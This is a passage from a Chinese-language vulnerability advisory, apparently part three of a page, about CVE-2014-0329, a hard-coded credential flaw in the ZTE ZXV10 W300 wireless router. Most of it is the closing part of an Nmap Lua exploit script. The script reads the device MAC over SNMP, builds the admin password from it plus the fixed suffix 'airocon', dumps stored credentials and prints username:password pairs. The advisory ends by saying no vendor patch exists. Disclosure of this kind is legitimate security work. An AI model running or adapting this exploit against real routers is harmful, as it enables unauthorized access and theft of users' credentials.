ZTE ZXV10 W300无线路由器硬编码凭证安全措施绕过漏(3)

local community
    community = stdnse.get_script_args(SCRIPT_NAME .. ".community") or DEFAULT_COMMUNITY
   
    local status, response
   
    status, response = get_mac(host, community)   
    if not status then
        return response
    end
   
    local password
    password = string.upper(string.sub(response, 9)) .. "airocon"
   
    status, response = dump_creds(host, "admin", password)
    if not status then
        return response
    end
   
    status, response = parse_response( response )
    if not status then
        return response
    end
   
    vuln.state = vulns.STATE.EXPLOIT
    for _, data in pairs(response) do
        table.insert(vuln.exploit_results, data.username .. ":" .. data.password)
    end
   
    return vulns.Report:new(SCRIPT_NAME, host):make_output(vuln)
end

建议：
--------------------------------------------------------------------------------
厂商补丁：

ZTE
---
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

参考：
?name=CVE-2014-0329